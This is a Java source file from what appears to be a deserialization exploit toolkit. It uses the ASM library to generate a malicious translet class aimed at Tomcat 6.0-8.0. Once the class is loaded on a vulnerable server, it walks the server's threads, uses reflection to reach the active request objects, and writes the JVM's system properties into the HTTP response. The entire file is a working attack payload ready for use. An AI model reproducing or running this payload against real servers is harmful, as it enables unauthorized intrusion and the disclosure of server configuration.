package yso.payloads.exploitType;

import org.objectweb.asm.*;
import yso.payloads.annotation.Authors;
import yso.payloads.annotation.Dependencies;

import java.io.File;
import java.io.FileOutputStream;

@Authors({Authors.XRAY})
@Dependencies({"tomcat:tomcat:6.0-8.0"})
public class XraySysProp implements Opcodes, EXP {

    public static byte[] dump() {
        ClassWriter cw = new ClassWriter(0);
        FieldVisitor fv;
        MethodVisitor mv;
        AnnotationVisitor av0;

        cw.visit(V1_7, ACC_PUBLIC + ACC_SUPER, "XrayPoc", null, "com/sun/org/apache/xalan/internal/xsltc/runtime/AbstractTranslet", null);

        cw.visitSource("XrayPoc.java", null);

        {
            mv = cw.visitMethod(ACC_PUBLIC, "<init>", "()V", null, new String[]{"java/lang/Exception"});
            mv.visitCode();
            Label l0 = new Label();
            Label l1 = new Label();
            Label l2 = new Label();
            mv.visitTryCatchBlock(l0, l1, l2, "java/lang/Exception");
            Label l3 = new Label();
            mv.visitLabel(l3);
            mv.visitLineNumber(11, l3);
            mv.visitVarInsn(ALOAD, 0);
            mv.visitMethodInsn(INVOKESPECIAL, "com/sun/org/apache/xalan/internal/xsltc/runtime/AbstractTranslet", "<init>", "()V", false);
            Label l4 = new Label();
            mv.visitLabel(l4);
            mv.visitLineNumber(12, l4);
            mv.visitMethodInsn(INVOKESTATIC, "java/lang/Thread", "currentThread", "()Ljava/lang/Thread;", false);
            mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/Thread", "getThreadGroup", "()Ljava/lang/ThreadGroup;", false);
            mv.visitLdcInsn("threads");
            mv.visitMethodInsn(INVOKESTATIC, "XrayPoc", "getFV", "(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/Object;", false);
            mv.visitTypeInsn(CHECKCAST, "[Ljava/lang/Thread;");
            mv.visitTypeInsn(CHECKCAST, "[Ljava/lang/Thread;");
            mv.visitVarInsn(ASTORE, 1);
            Label l5 = new Label();
            mv.visitLabel(l5);
            mv.visitLineNumber(14, l5);
            mv.visitInsn(ICONST_0);
            mv.visitVarInsn(ISTORE, 2);
            Label l6 = new Label();
            mv.visitLabel(l6);
            mv.visitFrame(Opcodes.F_FULL, 3, new Object[]{"XrayPoc", "[Ljava/lang/Thread;", Opcodes.INTEGER}, 0, new Object[]{});
            mv.visitVarInsn(ILOAD, 2);
            mv.visitVarInsn(ALOAD, 1);
            mv.visitInsn(ARRAYLENGTH);
            Label l7 = new Label();
            mv.visitJumpInsn(IF_ICMPGE, l7);
            Label l8 = new Label();
            mv.visitLabel(l8);
            mv.visitLineNumber(15, l8);
            mv.visitVarInsn(ALOAD, 1);
            mv.visitVarInsn(ILOAD, 2);
            mv.visitInsn(AALOAD);
            mv.visitVarInsn(ASTORE, 3);
            Label l9 = new Label();
            mv.visitLabel(l9);
            mv.visitLineNumber(16, l9);
            mv.visitVarInsn(ALOAD, 3);
            Label l10 = new Label();
            mv.visitJumpInsn(IFNULL, l10);
            Label l11 = new Label();
            mv.visitLabel(l11);
            mv.visitLineNumber(17, l11);
            mv.visitVarInsn(ALOAD, 3);
            mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/Thread", "getName", "()Ljava/lang/String;", false);
            mv.visitVarInsn(ASTORE, 4);
            Label l12 = new Label();
            mv.visitLabel(l12);
            mv.visitLineNumber(18, l12);
            mv.visitVarInsn(ALOAD, 4);
            mv.visitLdcInsn("exec");
            mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/String", "contains", "(Ljava/lang/CharSequence;)Z", false);
            mv.visitJumpInsn(IFNE, l10);
            mv.visitVarInsn(ALOAD, 4);
            mv.visitLdcInsn("http");
            mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/String", "contains", "(Ljava/lang/CharSequence;)Z", false);
            mv.visitJumpInsn(IFEQ, l10);
            Label l13 = new Label();
            mv.visitLabel(l13);
            mv.visitLineNumber(19, l13);
            mv.visitVarInsn(ALOAD, 3);
            mv.visitLdcInsn("target");
            mv.visitMethodInsn(INVOKESTATIC, "XrayPoc", "getFV", "(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/Object;", false);
            mv.visitVarInsn(ASTORE, 5);
            Label l14 = new Label();
            mv.visitLabel(l14);
            mv.visitLineNumber(20, l14);
            mv.visitVarInsn(ALOAD, 5);
            mv.visitTypeInsn(INSTANCEOF, "java/lang/Runnable");
            mv.visitJumpInsn(IFEQ, l10);
            mv.visitLabel(l0);
            mv.visitLineNumber(22, l0);
            mv.visitVarInsn(ALOAD, 5);
            mv.visitLdcInsn("this$0");
            mv.visitMethodInsn(INVOKESTATIC, "XrayPoc", "getFV", "(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/Object;", false);
            mv.visitLdcInsn("handler");
            mv.visitMethodInsn(INVOKESTATIC, "XrayPoc", "getFV", "(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/Object;", false);
            mv.visitLdcInsn("global");
            mv.visitMethodInsn(INVOKESTATIC, "XrayPoc", "getFV", "(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/Object;", false);
            mv.visitVarInsn(ASTORE, 5);
            mv.visitLabel(l1);
            mv.visitLineNumber(25, l1);
            Label l15 = new Label();
            mv.visitJumpInsn(GOTO, l15);
            mv.visitLabel(l2);
            mv.visitLineNumber(23, l2);
            mv.visitFrame(Opcodes.F_FULL, 6, new Object[]{"XrayPoc", "[Ljava/lang/Thread;", Opcodes.INTEGER, "java/lang/Thread", "java/lang/String", "java/lang/Object"}, 1, new Object[]{"java/lang/Exception"});
            mv.visitVarInsn(ASTORE, 6);
            Label l16 = new Label();
            mv.visitLabel(l16);
            mv.visitLineNumber(24, l16);
            mv.visitJumpInsn(GOTO, l10);
            mv.visitLabel(l15);
            mv.visitLineNumber(27, l15);
            mv.visitFrame(Opcodes.F_SAME, 0, null, 0, null);
            mv.visitVarInsn(ALOAD, 5);
            mv.visitLdcInsn("processors");
            mv.visitMethodInsn(INVOKESTATIC, "XrayPoc", "getFV", "(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/Object;", false);
            mv.visitTypeInsn(CHECKCAST, "java/util/List");
            mv.visitVarInsn(ASTORE, 6);
            Label l17 = new Label();
            mv.visitLabel(l17);
            mv.visitLineNumber(29, l17);
            mv.visitInsn(ICONST_0);
            mv.visitVarInsn(ISTORE, 7);
            Label l18 = new Label();
            mv.visitLabel(l18);
            mv.visitFrame(Opcodes.F_APPEND, 2, new Object[]{"java/util/List", Opcodes.INTEGER}, 0, null);
            mv.visitVarInsn(ILOAD, 7);
            mv.visitVarInsn(ALOAD, 6);
            mv.visitMethodInsn(INVOKEINTERFACE, "java/util/List", "size", "()I", true);
            mv.visitJumpInsn(IF_ICMPGE, l10);
            Label l19 = new Label();
            mv.visitLabel(l19);
            mv.visitLineNumber(30, l19);
            mv.visitVarInsn(ALOAD, 6);
            mv.visitVarInsn(ILOAD, 7);
            mv.visitMethodInsn(INVOKEINTERFACE, "java/util/List", "get", "(I)Ljava/lang/Object;", true);
            mv.visitVarInsn(ASTORE, 8);
            Label l20 = new Label();
            mv.visitLabel(l20);
            mv.visitLineNumber(31, l20);
            mv.visitVarInsn(ALOAD, 8);
            mv.visitLdcInsn("req");
            mv.visitMethodInsn(INVOKESTATIC, "XrayPoc", "getFV", "(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/Object;", false);
            mv.visitVarInsn(ASTORE, 5);
            Label l21 = new Label();
            mv.visitLabel(l21);
            mv.visitLineNumber(32, l21);
            mv.visitVarInsn(ALOAD, 5);
            mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/Object", "getClass", "()Ljava/lang/Class;", false);
            mv.visitLdcInsn("getResponse");
            mv.visitInsn(ICONST_0);
            mv.visitTypeInsn(ANEWARRAY, "java/lang/Class");
            mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/Class", "getMethod", "(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;", false);
            mv.visitVarInsn(ALOAD, 5);
            mv.visitInsn(ICONST_0);
            mv.visitTypeInsn(ANEWARRAY, "java/lang/Object");
            mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/reflect/Method", "invoke", "(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;", false);
            mv.visitVarInsn(ASTORE, 9);
            Label l22 = new Label();
            mv.visitLabel(l22);
            mv.visitLineNumber(34, l22);
            mv.visitVarInsn(ALOAD, 9);
            mv.visitMethodInsn(INVOKESTATIC, "java/lang/System", "getProperties", "()Ljava/util/Properties;", false);
            mv.visitMethodInsn(INVOKEVIRTUAL, "java/util/Properties", "toString", "()Ljava/lang/String;", false);
            mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/String", "getBytes", "()[B", false);
            mv.visitMethodInsn(INVOKESTATIC, "XrayPoc", "writeBody", "(Ljava/lang/Object;[B)V", false);
            Label l23 = new Label();
            mv.visitLabel(l23);
            mv.visitLineNumber(29, l23);
            mv.visitIincInsn(7, 1);
            mv.visitJumpInsn(GOTO, l18);
            mv.visitLabel(l10);
            mv.visitLineNumber(14, l10);
            mv.visitFrame(Opcodes.F_FULL, 3, new Object[]{"XrayPoc", "[Ljava/lang/Thread;", Opcodes.INTEGER}, 0, new Object[]{});
            mv.visitIincInsn(2, 1);
            mv.visitJumpInsn(GOTO, l6);
            mv.visitLabel(l7);
            mv.visitLineNumber(42, l7);
            mv.visitFrame(Opcodes.F_CHOP, 1, null, 0, null);
            mv.visitInsn(RETURN);
            Label l24 = new Label();
            mv.visitLabel(l24);
            mv.visitLocalVariable("var13", "Ljava/lang/Exception;", null, l16, l15, 6);
            mv.visitLocalVariable("var11", "Ljava/lang/Object;", null, l20, l23, 8);
            mv.visitLocalVariable("var2", "Ljava/lang/Object;", null, l22, l23, 9);
            mv.visitLocalVariable("var10", "I", null, l18, l10, 7);
            mv.visitLocalVariable("var9", "Ljava/util/List;", null, l17, l10, 6);
            mv.visitLocalVariable("var1", "Ljava/lang/Object;", null, l14, l10, 5);
            mv.visitLocalVariable("var3", "Ljava/lang/String;", null, l12, l10, 4);
            mv.visitLocalVariable("var7", "Ljava/lang/Thread;", null, l9, l10, 3);
            mv.visitLocalVariable("var6", "I", null, l6, l7, 2);
            mv.visitLocalVariable("this", "LXrayPoc;", null, l3, l24, 0);
            mv.visitLocalVariable("var5", "[Ljava/lang/Thread;", null, l5, l24, 1);
            mv.visitMaxs(3, 10);
            mv.visitEnd();
        }
        {
            mv = cw.visitMethod(ACC_PRIVATE + ACC_STATIC, "writeBody", "(Ljava/lang/Object;[B)V", null, new String[]{"java/lang/Exception"});
            mv.visitCode();
            Label l0 = new Label();
            Label l1 = new Label();
            Label l2 = new Label();
            mv.visitTryCatchBlock(l0, l1, l2, "java/lang/NoSuchMethodException");
            mv.visitLabel(l0);
            mv.visitLineNumber(48, l0);
            mv.visitLdcInsn("org.apache.tomcat.util.buf.ByteChunk");
            mv.visitMethodInsn(INVOKESTATIC, "java/lang/Class", "forName", "(Ljava/lang/String;)Ljava/lang/Class;", false);
            mv.visitVarInsn(ASTORE, 3);
            Label l3 = new Label();
            mv.visitLabel(l3);
            mv.visitLineNumber(49, l3);
            mv.visitVarInsn(ALOAD, 3);
            mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/Class", "newInstance", "()Ljava/lang/Object;", false);
            mv.visitVarInsn(ASTORE, 2);
            Label l4 = new Label();
            mv.visitLabel(l4);
            mv.visitLineNumber(50, l4);
            mv.visitVarInsn(ALOAD, 3);
            mv.visitLdcInsn("setBytes");
            mv.visitInsn(ICONST_3);
            mv.visitTypeInsn(ANEWARRAY, "java/lang/Class");
            mv.visitInsn(DUP);
            mv.visitInsn(ICONST_0);
            mv.visitLdcInsn(Type.getType("[B"));
            mv.visitInsn(AASTORE);
            mv.visitInsn(DUP);
            mv.visitInsn(ICONST_1);
            mv.visitFieldInsn(GETSTATIC, "java/lang/Integer", "TYPE", "Ljava/lang/Class;");
            mv.visitInsn(AASTORE);
            mv.visitInsn(DUP);
            mv.visitInsn(ICONST_2);
            mv.visitFieldInsn(GETSTATIC, "java/lang/Integer", "TYPE", "Ljava/lang/Class;");
            mv.visitInsn(AASTORE);
            mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/Class", "getDeclaredMethod", "(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;", false);
            mv.visitVarInsn(ALOAD, 2);
            mv.visitInsn(ICONST_3);
            mv.visitTypeInsn(ANEWARRAY, "java/lang/Object");
            mv.visitInsn(DUP);
            mv.visitInsn(ICONST_0);
            mv.visitVarInsn(ALOAD, 1);
            mv.visitInsn(AASTORE);
            mv.visitInsn(DUP);
            mv.visitInsn(ICONST_1);
            mv.visitTypeInsn(NEW, "java/lang/Integer");
            mv.visitInsn(DUP);
            mv.visitInsn(ICONST_0);
            mv.visitMethodInsn(INVOKESPECIAL, "java/lang/Integer", "<init>", "(I)V", false);
            mv.visitInsn(AASTORE);
            mv.visitInsn(DUP);
            mv.visitInsn(ICONST_2);
            mv.visitTypeInsn(NEW, "java/lang/Integer");
            mv.visitInsn(DUP);
            mv.visitVarInsn(ALOAD, 1);
            mv.visitInsn(ARRAYLENGTH);
            mv.visitMethodInsn(INVOKESPECIAL, "java/lang/Integer", "<init>", "(I)V", false);
            mv.visitInsn(AASTORE);
            mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/reflect/Method", "invoke", "(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;", false);
            mv.visitInsn(POP);
            Label l5 = new Label();
            mv.visitLabel(l5);
            mv.visitLineNumber(51, l5);
            mv.visitVarInsn(ALOAD, 0);
            mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/Object", "getClass", "()Ljava/lang/Class;", false);
            mv.visitLdcInsn("doWrite");
            mv.visitInsn(ICONST_1);
            mv.visitTypeInsn(ANEWARRAY, "java/lang/Class");
            mv.visitInsn(DUP);
            mv.visitInsn(ICONST_0);
            mv.visitVarInsn(ALOAD, 3);
            mv.visitInsn(AASTORE);
            mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/Class", "getMethod", "(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;", false);
            mv.visitVarInsn(ALOAD, 0);
            mv.visitInsn(ICONST_1);
            mv.visitTypeInsn(ANEWARRAY, "java/lang/Object");
            mv.visitInsn(DUP);
            mv.visitInsn(ICONST_0);
            mv.visitVarInsn(ALOAD, 2);
            mv.visitInsn(AASTORE);
            mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/reflect/Method", "invoke", "(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;", false);
            mv.visitInsn(POP);
            mv.visitLabel(l1);
            mv.visitLineNumber(56, l1);
            Label l6 = new Label();
            mv.visitJumpInsn(GOTO, l6);
            mv.visitLabel(l2);
            mv.visitLineNumber(52, l2);
            mv.visitFrame(Opcodes.F_SAME1, 0, null, 1, new Object[]{"java/lang/NoSuchMethodException"});
            mv.visitVarInsn(ASTORE, 4);
            Label l7 = new Label();
            mv.visitLabel(l7);
            mv.visitLineNumber(53, l7);
            mv.visitLdcInsn("java.nio.ByteBuffer");
            mv.visitMethodInsn(INVOKESTATIC, "java/lang/Class", "forName", "(Ljava/lang/String;)Ljava/lang/Class;", false);
            mv.visitVarInsn(ASTORE, 3);
            Label l8 = new Label();
            mv.visitLabel(l8);
            mv.visitLineNumber(54, l8);
            mv.visitVarInsn(ALOAD, 3);
            mv.visitLdcInsn("wrap");
            mv.visitInsn(ICONST_1);
            mv.visitTypeInsn(ANEWARRAY, "java/lang/Class");
            mv.visitInsn(DUP);
            mv.visitInsn(ICONST_0);
            mv.visitLdcInsn(Type.getType("[B"));
            mv.visitInsn(AASTORE);
            mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/Class", "getDeclaredMethod", "(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;", false);
            mv.visitVarInsn(ALOAD, 3);
            mv.visitInsn(ICONST_1);
            mv.visitTypeInsn(ANEWARRAY, "java/lang/Object");
            mv.visitInsn(DUP);
            mv.visitInsn(ICONST_0);
            mv.visitVarInsn(ALOAD, 1);
            mv.visitInsn(AASTORE);
            mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/reflect/Method", "invoke", "(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;", false);
            mv.visitVarInsn(ASTORE, 2);
            Label l9 = new Label();
            mv.visitLabel(l9);
            mv.visitLineNumber(55, l9);
            mv.visitVarInsn(ALOAD, 0);
            mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/Object", "getClass", "()Ljava/lang/Class;", false);
            mv.visitLdcInsn("doWrite");
            mv.visitInsn(ICONST_1);
            mv.visitTypeInsn(ANEWARRAY, "java/lang/Class");
            mv.visitInsn(DUP);
            mv.visitInsn(ICONST_0);
            mv.visitVarInsn(ALOAD, 3);
            mv.visitInsn(AASTORE);
            mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/Class", "getMethod", "(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;", false);
            mv.visitVarInsn(ALOAD, 0);
            mv.visitInsn(ICONST_1);
            mv.visitTypeInsn(ANEWARRAY, "java/lang/Object");
            mv.visitInsn(DUP);
            mv.visitInsn(ICONST_0);
            mv.visitVarInsn(ALOAD, 2);
            mv.visitInsn(AASTORE);
            mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/reflect/Method", "invoke", "(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;", false);
            mv.visitInsn(POP);
            mv.visitLabel(l6);
            mv.visitLineNumber(58, l6);
            mv.visitFrame(Opcodes.F_APPEND, 2, new Object[]{"java/lang/Object", "java/lang/Class"}, 0, null);
            mv.visitInsn(RETURN);
            Label l10 = new Label();
            mv.visitLabel(l10);
            mv.visitLocalVariable("var2", "Ljava/lang/Object;", null, l4, l2, 2);
            mv.visitLocalVariable("var3", "Ljava/lang/Class;", null, l3, l2, 3);
            mv.visitLocalVariable("var5", "Ljava/lang/NoSuchMethodException;", null, l7, l6, 4);
            mv.visitLocalVariable("var0", "Ljava/lang/Object;", null, l0, l10, 0);
            mv.visitLocalVariable("var1", "[B", null, l0, l10, 1);
            mv.visitLocalVariable("var2", "Ljava/lang/Object;", null, l9, l10, 2);
            mv.visitLocalVariable("var3", "Ljava/lang/Class;", null, l8, l10, 3);
            mv.visitMaxs(8, 5);
            mv.visitEnd();
        }
        {
            mv = cw.visitMethod(ACC_PRIVATE + ACC_STATIC, "getFV", "(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/Object;", null, new String[]{"java/lang/Exception"});
            mv.visitCode();
            Label l0 = new Label();
            Label l1 = new Label();
            Label l2 = new Label();
            mv.visitTryCatchBlock(l0, l1, l2, "java/lang/NoSuchFieldException");
            Label l3 = new Label();
            mv.visitLabel(l3);
            mv.visitLineNumber(61, l3);
            mv.visitInsn(ACONST_NULL);
            mv.visitVarInsn(ASTORE, 2);
            Label l4 = new Label();
            mv.visitLabel(l4);
            mv.visitLineNumber(62, l4);
            mv.visitVarInsn(ALOAD, 0);
            mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/Object", "getClass", "()Ljava/lang/Class;", false);
            mv.visitVarInsn(ASTORE, 3);
            Label l5 = new Label();
            mv.visitLabel(l5);
            mv.visitLineNumber(64, l5);
            mv.visitFrame(Opcodes.F_APPEND, 2, new Object[]{"java/lang/reflect/Field", "java/lang/Class"}, 0, null);
            mv.visitVarInsn(ALOAD, 3);
            mv.visitLdcInsn(Type.getType("Ljava/lang/Object;"));
            Label l6 = new Label();
            mv.visitJumpInsn(IF_ACMPEQ, l6);
            mv.visitLabel(l0);
            mv.visitLineNumber(66, l0);
            mv.visitVarInsn(ALOAD, 3);
            mv.visitVarInsn(ALOAD, 1);
            mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/Class", "getDeclaredField", "(Ljava/lang/String;)Ljava/lang/reflect/Field;", false);
            mv.visitVarInsn(ASTORE, 2);
            mv.visitLabel(l1);
            mv.visitLineNumber(67, l1);
            mv.visitJumpInsn(GOTO, l6);
            mv.visitLabel(l2);
            mv.visitLineNumber(68, l2);
            mv.visitFrame(Opcodes.F_SAME1, 0, null, 1, new Object[]{"java/lang/NoSuchFieldException"});
            mv.visitVarInsn(ASTORE, 4);
            Label l7 = new Label();
            mv.visitLabel(l7);
            mv.visitLineNumber(69, l7);
            mv.visitVarInsn(ALOAD, 3);
            mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/Class", "getSuperclass", "()Ljava/lang/Class;", false);
            mv.visitVarInsn(ASTORE, 3);
            Label l8 = new Label();
            mv.visitLabel(l8);
            mv.visitLineNumber(70, l8);
            mv.visitJumpInsn(GOTO, l5);
            mv.visitLabel(l6);
            mv.visitLineNumber(73, l6);
            mv.visitFrame(Opcodes.F_SAME, 0, null, 0, null);
            mv.visitVarInsn(ALOAD, 2);
            Label l9 = new Label();
            mv.visitJumpInsn(IFNONNULL, l9);
            Label l10 = new Label();
            mv.visitLabel(l10);
            mv.visitLineNumber(74, l10);
            mv.visitTypeInsn(NEW, "java/lang/NoSuchFieldException");
            mv.visitInsn(DUP);
            mv.visitVarInsn(ALOAD, 1);
            mv.visitMethodInsn(INVOKESPECIAL, "java/lang/NoSuchFieldException", "<init>", "(Ljava/lang/String;)V", false);
            mv.visitInsn(ATHROW);
            mv.visitLabel(l9);
            mv.visitLineNumber(76, l9);
            mv.visitFrame(Opcodes.F_SAME, 0, null, 0, null);
            mv.visitVarInsn(ALOAD, 2);
            mv.visitInsn(ICONST_1);
            mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/reflect/Field", "setAccessible", "(Z)V", false);
            Label l11 = new Label();
            mv.visitLabel(l11);
            mv.visitLineNumber(77, l11);
            mv.visitVarInsn(ALOAD, 2);
            mv.visitVarInsn(ALOAD, 0);
            mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/reflect/Field", "get", "(Ljava/lang/Object;)Ljava/lang/Object;", false);
            mv.visitInsn(ARETURN);
            Label l12 = new Label();
            mv.visitLabel(l12);
            mv.visitLocalVariable("var5", "Ljava/lang/NoSuchFieldException;", null, l7, l8, 4);
            mv.visitLocalVariable("var0", "Ljava/lang/Object;", null, l3, l12, 0);
            mv.visitLocalVariable("var1", "Ljava/lang/String;", null, l3, l12, 1);
            mv.visitLocalVariable("var2", "Ljava/lang/reflect/Field;", null, l4, l12, 2);
            mv.visitLocalVariable("var3", "Ljava/lang/Class;", null, l5, l12, 3);
            mv.visitMaxs(3, 5);
            mv.visitEnd();
        }
        {
            mv = cw.visitMethod(ACC_PUBLIC, "transform", "(Lcom/sun/org/apache/xalan/internal/xsltc/DOM;[Lcom/sun/org/apache/xml/internal/serializer/SerializationHandler;)V", null, new String[]{"com/sun/org/apache/xalan/internal/xsltc/TransletException"});
            mv.visitCode();
            Label l0 = new Label();
            mv.visitLabel(l0);
            mv.visitLineNumber(84, l0);
            mv.visitInsn(RETURN);
            Label l1 = new Label();
            mv.visitLabel(l1);
            mv.visitLocalVariable("this", "LXrayPoc;", null, l0, l1, 0);
            mv.visitLocalVariable("document", "Lcom/sun/org/apache/xalan/internal/xsltc/DOM;", null, l0, l1, 1);
            mv.visitLocalVariable("handlers", "[Lcom/sun/org/apache/xml/internal/serializer/SerializationHandler;", null, l0, l1, 2);
            mv.visitMaxs(0, 3);
            mv.visitEnd();
        }
        {
            mv = cw.visitMethod(ACC_PUBLIC, "transform", "(Lcom/sun/org/apache/xalan/internal/xsltc/DOM;Lcom/sun/org/apache/xml/internal/dtm/DTMAxisIterator;Lcom/sun/org/apache/xml/internal/serializer/SerializationHandler;)V", null, new String[]{"com/sun/org/apache/xalan/internal/xsltc/TransletException"});
            mv.visitCode();
            Label l0 = new Label();
            mv.visitLabel(l0);
            mv.visitLineNumber(89, l0);
            mv.visitInsn(RETURN);
            Label l1 = new Label();
            mv.visitLabel(l1);
            mv.visitLocalVariable("this", "LXrayPoc;", null, l0, l1, 0);
            mv.visitLocalVariable("document", "Lcom/sun/org/apache/xalan/internal/xsltc/DOM;", null, l0, l1, 1);
            mv.visitLocalVariable("iterator", "Lcom/sun/org/apache/xml/internal/dtm/DTMAxisIterator;", null, l0, l1, 2);
            mv.visitLocalVariable("handler", "Lcom/sun/org/apache/xml/internal/serializer/SerializationHandler;", null, l0, l1, 3);
            mv.visitMaxs(0, 4);
            mv.visitEnd();
        }
        cw.visitEnd();

        return cw.toByteArray();
    }

    public static void main(String[] args) throws Exception {
        new FileOutputStream(new File("1.class")).write((byte[]) new XraySysProp().getObject());
    }

    public Object getObject() {
        System.out.println("该攻击类型用来查看服务器的System Properties");
        return dump();
    }
}
